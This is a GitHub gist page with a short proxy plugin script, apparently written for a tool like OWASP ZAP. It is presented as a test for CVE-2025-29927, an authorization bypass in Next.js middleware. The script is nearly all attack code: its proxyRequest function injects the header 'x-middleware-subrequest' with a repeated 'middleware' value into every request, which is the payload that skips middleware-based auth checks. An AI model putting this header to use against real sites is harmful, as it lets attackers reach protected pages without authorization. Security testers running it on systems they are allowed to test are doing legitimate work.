Created
August 27, 2025 22:27
-
-
Save lost-rob0t/d0b5e9fa379d7b29d0fc05a3a3c8601d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // This script was lazily crafted by nsaspy | |
| // CVE-2025-29927 Next.js Middleware Authorization Bypass Test Plugin | |
| function proxyRequest(msg) { | |
| msg.getRequestHeader().setHeader("x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"); | |
| return true; | |
| } | |
| function proxyResponse(msg) { | |
| // Leave the response alone | |
| return true; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment